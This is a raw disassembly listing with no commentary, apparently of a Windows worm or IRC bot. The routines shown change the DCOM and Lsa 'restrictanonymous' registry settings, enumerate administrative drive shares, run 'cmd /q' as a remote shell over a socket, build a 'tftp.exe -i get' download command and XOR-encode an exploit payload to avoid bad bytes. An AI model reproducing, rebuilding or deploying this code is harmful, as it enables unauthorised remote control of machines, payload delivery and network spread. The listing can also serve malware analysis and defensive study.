push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_43EB94 ; RegOpenKeyExA
test eax, eax
jnz short loc_416073
mov ax, word_4386DC
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_43EB48 ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_220]
jz short loc_41605B
push offset unk_4386A8
jmp short loc_416060
; ---------------------------------------------------------------------------
loc_41605B: ; CODE XREF: sub_415FE8+6Aj
push offset dword_43867C
loc_416060: ; CODE XREF: sub_415FE8+71j
push eax
call sub_416FB6
pop ecx
pop ecx
push [ebp+var_4]
call dword_43EB00 ; RegCloseKey
jmp short loc_416086
; ---------------------------------------------------------------------------
loc_416073: ; CODE XREF: sub_415FE8+36j
lea eax, [ebp+var_220]
push offset unk_438440
push eax
call sub_416FB6
pop ecx
pop ecx
loc_416086: ; CODE XREF: sub_415FE8+89j
cmp [ebp+arg_C], ebx
jnz short loc_4160A5
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 14h
loc_4160A5: ; CODE XREF: sub_415FE8+A1j
lea eax, [ebp+var_220]
push eax
call sub_40BD8D
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_43EB94 ; RegOpenKeyExA
test eax, eax
jnz short loc_41610F
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_43EB48 ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_220]
jz short loc_4160F7
push offset unk_438630
jmp short loc_4160FC
; ---------------------------------------------------------------------------
loc_4160F7: ; CODE XREF: sub_415FE8+106j
push offset unk_4385E8
loc_4160FC: ; CODE XREF: sub_415FE8+10Dj
push eax
call sub_416FB6
pop ecx
pop ecx
push [ebp+var_4]
call dword_43EB00 ; RegCloseKey
jmp short loc_416129
; ---------------------------------------------------------------------------
loc_41610F: ; CODE XREF: sub_415FE8+E2j
push offset unk_438598
jmp short loc_41611B
; ---------------------------------------------------------------------------
loc_416116: ; CODE XREF: sub_415FE8+13j
push offset unk_438304
loc_41611B: ; CODE XREF: sub_415FE8+12Cj
lea eax, [ebp+var_220]
push eax
call sub_416FB6
pop ecx
pop ecx
loc_416129: ; CODE XREF: sub_415FE8+125j
cmp [ebp+arg_C], ebx
jnz short loc_416148
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 14h
loc_416148: ; CODE XREF: sub_415FE8+144j
lea eax, [ebp+var_220]
push eax
call sub_40BD8D
cmp dword_43EC18, ebx
pop ecx
jnz loc_4162BF
push edi
xor esi, esi
mov edi, 200h
loc_416169: ; CODE XREF: sub_415FE8+1EEj
push dword_438170[esi]
push off_43816C[esi]
push ebx
call sub_40DA1E
add esp, 0Ch
push off_43816C[esi]
test eax, eax
lea eax, [ebp+var_220]
jnz short loc_416195
push offset unk_438568
jmp short loc_41619A
; ---------------------------------------------------------------------------
loc_416195: ; CODE XREF: sub_415FE8+1A4j
push offset unk_438530
loc_41619A: ; CODE XREF: sub_415FE8+1ABj
push edi
push eax
call sub_41752A
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_4161C3
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 14h
loc_4161C3: ; CODE XREF: sub_415FE8+1BFj
lea eax, [ebp+var_220]
push eax
call sub_40BD8D
add esi, 8
pop ecx
cmp esi, 10h
jb short loc_416169
call dword_42317C ; GetLogicalDrives
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_4162A7
loc_4161EB: ; CODE XREF: sub_415FE8+2B9j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41629C
cmp bl, 41h
jz loc_41629C
movsx esi, bl
push esi
push offset aC_3 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41752A
push esi
push offset aC_2 ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah
push eax
call sub_41752A
add esp, 20h
lea eax, [ebp+var_20]
push eax
call dword_43EB84 ; GetDriveTypeA
cmp eax, 3
jnz short loc_41629C
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_40DA1E
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_220]
jnz short loc_416260
push offset unk_438568
jmp short loc_416265
; ---------------------------------------------------------------------------
loc_416260: ; CODE XREF: sub_415FE8+26Fj
push offset unk_438530
loc_416265: ; CODE XREF: sub_415FE8+276j
push edi
push eax
call sub_41752A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41628F
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 14h
loc_41628F: ; CODE XREF: sub_415FE8+28Bj
lea eax, [ebp+var_220]
push eax
call sub_40BD8D
pop ecx
loc_41629C: ; CODE XREF: sub_415FE8+20Bj
; sub_415FE8+214j ...
inc bl
shr [ebp+var_4], 1
jnz loc_4161EB
loc_4162A7: ; CODE XREF: sub_415FE8+1FDj
lea eax, [ebp+var_220]
push offset unk_4384F0
push eax
call sub_416FB6
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_4162D2
; ---------------------------------------------------------------------------
loc_4162BF: ; CODE XREF: sub_415FE8+173j
lea eax, [ebp+var_220]
push offset unk_4381AC
push eax
call sub_416FB6
pop ecx
pop ecx
loc_4162D2: ; CODE XREF: sub_415FE8+2D5j
cmp [ebp+arg_C], ebx
jnz short loc_4162F0
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 14h
loc_4162F0: ; CODE XREF: sub_415FE8+2EDj
lea eax, [ebp+var_220]
push eax
call sub_40BD8D
pop ecx
xor eax, eax
pop esi
inc eax
pop ebx
leave
retn
sub_415FE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416304 proc near ; CODE XREF: sub_415208+1AFp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_416459
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_444574[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_4230A0
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_41662B
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_416373
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset dword_438728
call sub_40BE01
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
xor eax, eax
jmp loc_416453
; ---------------------------------------------------------------------------
loc_416373: ; CODE XREF: sub_416304+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4166C9
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_4163B4
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset dword_438728
call sub_40BE01
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call dword_423168 ; TerminateThread
xor eax, eax
jmp loc_416454
; ---------------------------------------------------------------------------
loc_4163B4: ; CODE XREF: sub_416304+86j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call dword_423180 ; WaitForMultipleObjects
sub eax, ebx
jz short loc_41640E
dec eax
jz short loc_416408
dec eax
jz short loc_4163F4
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset dword_4386E0
call sub_40BE01
pop ecx
pop ecx
jmp short loc_416423
; ---------------------------------------------------------------------------
loc_4163F4: ; CODE XREF: sub_416304+D9j
mov edi, dword_423168
push ebx
push dword ptr [esi+14h]
call edi ; TerminateThread
push ebx
push dword ptr [esi+10h]
call edi ; TerminateThread
jmp short loc_416423
; ---------------------------------------------------------------------------
loc_416408: ; CODE XREF: sub_416304+D6j
push ebx
push dword ptr [esi+10h]
jmp short loc_416412
; ---------------------------------------------------------------------------
loc_41640E: ; CODE XREF: sub_416304+D3j
push ebx
push dword ptr [esi+14h]
loc_416412: ; CODE XREF: sub_416304+108j
call dword_423168 ; TerminateThread
push 1
push dword ptr [esi+8]
call dword_423170 ; TerminateProcess
loc_416423: ; CODE XREF: sub_416304+EEj
; sub_416304+102j
push dword ptr [esi+10h]
mov edi, dword_423078
call edi ; CloseHandle
push dword ptr [esi+14h]
call edi ; CloseHandle
push dword ptr [esi+8]
call edi ; CloseHandle
push dword ptr [esi]
call edi ; CloseHandle
push dword ptr [esi+4]
call edi ; CloseHandle
push dword ptr [esi+0Ch]
call dword_43EBBC ; closesocket
push esi
call sub_41793B
xor eax, eax
inc eax
loc_416453: ; CODE XREF: sub_416304+6Aj
pop ecx
loc_416454: ; CODE XREF: sub_416304+ABj
pop edi
pop esi
pop ebx
leave
retn
sub_416304 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416459 proc near ; CODE XREF: sub_416304+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_417889
mov esi, eax
pop ecx
cmp esi, edi
jz loc_416543
mov ebx, dword_423140
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx ; CreatePipe
mov edi, dword_423078
test eax, eax
jnz short loc_4164BC
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset dword_438808
jmp short loc_4164DC
; ---------------------------------------------------------------------------
loc_4164BC: ; CODE XREF: sub_416459+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx ; CreatePipe
test eax, eax
jnz short loc_4164E4
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset dword_4387B8
loc_4164DC: ; CODE XREF: sub_416459+61j
call sub_40BE01
pop ecx
jmp short loc_416512
; ---------------------------------------------------------------------------
loc_4164E4: ; CODE XREF: sub_416459+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_416552
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi ; CloseHandle
push [ebp+var_8]
call edi ; CloseHandle
cmp dword ptr [esi+8], 0
jnz short loc_416547
push offset dword_438780
call sub_40BD8D
loc_416512: ; CODE XREF: sub_416459+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_41651E
push [ebp+var_4]
call edi ; CloseHandle
loc_41651E: ; CODE XREF: sub_416459+BEj
cmp [ebp+var_8], 0
jz short loc_416529
push [ebp+var_8]
call edi ; CloseHandle
loc_416529: ; CODE XREF: sub_416459+C9j
mov eax, [esi]
test eax, eax
jz short loc_416532
push eax
call edi ; CloseHandle
loc_416532: ; CODE XREF: sub_416459+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_41653C
push eax
call edi ; CloseHandle
loc_41653C: ; CODE XREF: sub_416459+DEj
push esi
call sub_41793B
pop ecx
loc_416543: ; CODE XREF: sub_416459+1Dj
xor eax, eax
jmp short loc_41654D
; ---------------------------------------------------------------------------
loc_416547: ; CODE XREF: sub_416459+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_41654D: ; CODE XREF: sub_416459+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_416459 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416552 proc near ; CODE XREF: sub_416459+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_417030
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_417030
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_42313C
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi ; GetCurrentProcess
push eax
push ebx
call edi ; GetCurrentProcess
push eax
call dword_423138 ; DuplicateHandle
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call dword_423120 ; CreateProcessA
test eax, eax
jz short loc_41660E
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_444570[eax], ecx
call dword_423078 ; CloseHandle
jmp short loc_416624
; ---------------------------------------------------------------------------
loc_41660E: ; CODE XREF: sub_416552+9Aj
call dword_42308C ; RtlGetLastWin32Error
push eax
push offset dword_438858
call sub_40BE01
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_416624: ; CODE XREF: sub_416552+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_416552 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41662B proc near ; DATA XREF: sub_416304+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
mov ebx, dword_423074
push esi
push edi
mov edi, [ebp+arg_0]
jmp short loc_41668E
; ---------------------------------------------------------------------------
loc_416642: ; CODE XREF: sub_41662B+7Bj
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_416677
loc_41664D: ; CODE XREF: sub_41662B+4Aj
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_416667
cmp dl, 0Dh
jz short loc_416667
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_416667: ; CODE XREF: sub_41662B+2Cj
; sub_41662B+31j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_41664D
loc_416677: ; CODE XREF: sub_41662B+20j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_43EB74 ; send
test eax, eax
jle short loc_4166A8
loc_41668E: ; CODE XREF: sub_41662B+15j
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
call ebx ; ReadFile
test eax, eax
jnz short loc_416642
loc_4166A8: ; CODE XREF: sub_41662B+61j
mov esi, dword_42308C
call esi ; RtlGetLastWin32Error
cmp eax, 6Dh
jz short loc_4166C4
call esi ; RtlGetLastWin32Error
push eax
push offset dword_4388A8
call sub_40BE01
pop ecx
pop ecx
loc_4166C4: ; CODE XREF: sub_41662B+88j
pop edi
pop esi
pop ebx
leave
retn
sub_41662B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4166C9 proc near ; DATA XREF: sub_416304+75o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
jmp loc_4167C2
; ---------------------------------------------------------------------------
loc_4166E4: ; CODE XREF: sub_4166C9+10Ej
cmp [ebp+var_10], ebx
jbe short loc_4166F1
dec [ebp+var_10]
jmp loc_4167C5
; ---------------------------------------------------------------------------
loc_4166F1: ; CODE XREF: sub_4166C9+1Ej
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_4167AD
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_416761
cmp al, 7Fh
jz short loc_416761
cmp al, 3
jnz short loc_41671C
push ebx
push ebx
call dword_423184 ; GenerateConsoleCtrlEvent
jmp short loc_416788
; ---------------------------------------------------------------------------
loc_41671C: ; CODE XREF: sub_4166C9+47j
cmp al, 15h
jnz short loc_41673E
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_416774
; ---------------------------------------------------------------------------
loc_41673E: ; CODE XREF: sub_4166C9+55j
xor ecx, ecx
mov [ebp+esi+var_DC], al
inc esi
inc ecx
cmp al, 0Dh
mov [ebp+var_8], al
jnz short loc_416775
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_416774
; ---------------------------------------------------------------------------
loc_416761: ; CODE XREF: sub_4166C9+3Fj
; sub_4166C9+43j
cmp esi, ebx
jbe short loc_41678B
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_416774: ; CODE XREF: sub_4166C9+73j
; sub_4166C9+96j
pop ecx
loc_416775: ; CODE XREF: sub_4166C9+85j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_43EB74 ; send
test eax, eax
jle short loc_4167DD
loc_416788: ; CODE XREF: sub_4166C9+51j
mov al, byte ptr [ebp+arg_0+3]
loc_41678B: ; CODE XREF: sub_4166C9+9Aj
cmp al, 0Dh
jnz short loc_4167C5
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call dword_42307C ; WriteFile
test eax, eax
jz short loc_4167DD
xor esi, esi
jmp short loc_4167C5
; ---------------------------------------------------------------------------
loc_4167AD: ; CODE XREF: sub_4166C9+34j
cmp [ebp+var_C], ebx
jnz short loc_4167BB
mov [ebp+var_C], 1
jmp short loc_4167C5
; ---------------------------------------------------------------------------
loc_4167BB: ; CODE XREF: sub_4166C9+E7j
mov [ebp+var_10], 0Ah
loc_4167C2: ; CODE XREF: sub_4166C9+16j
mov [ebp+var_C], ebx
loc_4167C5: ; CODE XREF: sub_4166C9+23j
; sub_4166C9+C4j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_43EB3C ; recv
test eax, eax
jg loc_4166E4
loc_4167DD: ; CODE XREF: sub_4166C9+BDj
; sub_4166C9+DEj
pop edi
pop esi
pop ebx
leave
retn
sub_4166C9 endp
; =============== S U B R O U T I N E =======================================
sub_4167E2 proc near ; CODE XREF: sub_416802+Ap
; sub_4168DA+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_4177B0
push [esp+8+arg_4]
mov esi, eax
call sub_4177B0
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_4167E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416802 proc near ; CODE XREF: sub_4168F1+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_4167E2
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_41681F
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_41681F: ; CODE XREF: sub_416802+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_4177B0
push [ebp+arg_C]
mov esi, eax
call sub_4177B0
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_43898C, eax
lea eax, [edi+1]
mov dword_4389AD, eax
lea eax, [edi+17h]
mov dword_4389A5, eax
pop eax
push 74h
sub eax, edi
push offset dword_438928
push ebx
mov dword_4389BB, eax
call sub_417090
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_417090
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_417090
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_417090
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_417090
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_417090
add esi, edi
push 38h
add esi, ebx
push offset byte_4389B1
push esi
call sub_417090
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416802 endp
; =============== S U B R O U T I N E =======================================
sub_4168DA proc near ; CODE XREF: sub_4168F1+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4167E2
push eax
call sub_41695E
add esp, 0Ch
retn
sub_4168DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4168F1 proc near ; CODE XREF: sub_402B61+32p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_4168DA
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_416911
cmp eax, 0FFFFh
jbe short loc_416915
loc_416911: ; CODE XREF: sub_4168F1+17j
xor eax, eax
jmp short loc_41695A
; ---------------------------------------------------------------------------
loc_416915: ; CODE XREF: sub_4168F1+1Ej
push esi
push edi
push ebx
call sub_4167E2
add eax, 101h
push eax
call sub_417889
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_4167E2
pop ecx
pop ecx
push eax
push esi
call sub_416802
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416979
push esi
mov edi, eax
call sub_41793B
add esp, 24h
mov eax, edi
pop esi
loc_41695A: ; CODE XREF: sub_4168F1+22j
pop edi
pop ebx
pop ebp
retn
sub_4168F1 endp
; =============== S U B R O U T I N E =======================================
sub_41695E proc near ; CODE XREF: sub_4168DA+Ep
; sub_416979+47p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_416967
inc ecx
loc_416967: ; CODE XREF: sub_41695E+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_41695E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416979 proc near ; CODE XREF: sub_4168F1+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_C]
cmp dl, 0Ah
jz short loc_416993
cmp dl, 0Dh
jz short loc_416993
cmp dl, 5Ch
jz short loc_416993
test dl, dl
jnz short loc_416997
loc_416993: ; CODE XREF: sub_416979+Aj
; sub_416979+Fj ...
inc edx
mov [ebp+arg_C], edx
loc_416997: ; CODE XREF: sub_416979+18j
push esi
mov esi, 0FFh
cmp edx, esi
jbe short loc_4169BF
mov eax, edx
shr eax, 8
cmp al, 0Ah
jz short loc_4169B6
cmp al, 0Dh
jz short loc_4169B6
cmp al, 5Ch
jz short loc_4169B6
test al, al
jnz short loc_4169BF
loc_4169B6: ; CODE XREF: sub_416979+2Fj
; sub_416979+33j ...
add edx, 100h
mov [ebp+arg_C], edx
loc_4169BF: ; CODE XREF: sub_416979+26j
; sub_416979+3Bj
push edx
call sub_41695E
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_4169D5
cmp eax, 0FFFFh
jbe short loc_4169DC
loc_4169D5: ; CODE XREF: sub_416979+53j
xor eax, eax
jmp loc_416A77
; ---------------------------------------------------------------------------
loc_4169DC: ; CODE XREF: sub_416979+5Aj
push ebx
mov bl, byte_489480
xor ecx, ecx
push edi
mov edi, [ebp+arg_8]
test edx, edx
jbe short loc_416A09
loc_4169ED: ; CODE XREF: sub_416979+8Ej
mov al, [ecx+edi]
xor al, bl
jz short loc_416A00
cmp al, 0Ah
jz short loc_416A00
cmp al, 0Dh
jz short loc_416A00
cmp al, 5Ch
jnz short loc_416A04
loc_416A00: ; CODE XREF: sub_416979+79j
; sub_416979+7Dj ...
inc bl
xor ecx, ecx
loc_416A04: ; CODE XREF: sub_416979+85j
inc ecx
cmp ecx, edx
jb short loc_4169ED
loc_416A09: ; CODE XREF: sub_416979+72j
cmp edx, esi
mov byte_489480, bl
ja short loc_416A35
push 15h
push offset loc_438910
push [ebp+arg_0]
mov byte_43891D, dl
mov byte_438921, bl
call sub_417090
add esp, 0Ch
push 15h
jmp short loc_416A56
; ---------------------------------------------------------------------------
loc_416A35: ; CODE XREF: sub_416979+98j
push 17h
push offset loc_4388F8
push [ebp+arg_0]
mov word_438906, dx
mov byte_43890B, bl
call sub_417090
add esp, 0Ch
push 17h
loc_416A56: ; CODE XREF: sub_416979+BAj
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_416A72
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_416A64: ; CODE XREF: sub_416979+F7j
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_416A64
loc_416A72: ; CODE XREF: sub_416979+E3j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_416A77: ; CODE XREF: sub_416979+5Ej
pop esi
leave
retn
sub_416979 endp
; =============== S U B R O U T I N E =======================================
sub_416A7A proc near ; CODE XREF: sub_405F35+21Fp
; sub_4070A3+EDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_444368
loc_416A82: ; CODE XREF: sub_416A7A+18j
cmp byte ptr [eax], 0
jz short loc_416A96
add eax, 234h
inc edi
cmp eax, offset dword_4890F8
jl short loc_416A82
jmp short loc_416AE1
; ---------------------------------------------------------------------------
loc_416A96: ; CODE XREF: sub_416A7A+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_444368[esi]
push eax
call sub_418910
mov eax, [esp+14h+arg_4]
and dword_44456C[esi], 0
and dword_444570[esi], 0
mov dword_444568[esi], eax
mov eax, [esp+14h+arg_8]
add esp, 0Ch
and byte_444580[esi], 0
mov dword_444574[esi], eax
pop esi
loc_416AE1: ; CODE XREF: sub_416A7A+1Aj
mov eax, edi
pop edi
retn
sub_416A7A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416AE5 proc near ; DATA XREF: sub_40EC43+5BBAo
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10]
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_416B37
push [ebp+var_14]
call sub_416D90
add esp, 14h
push 0
call dword_423054 ; ExitThread
pop edi
pop esi
sub_416AE5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
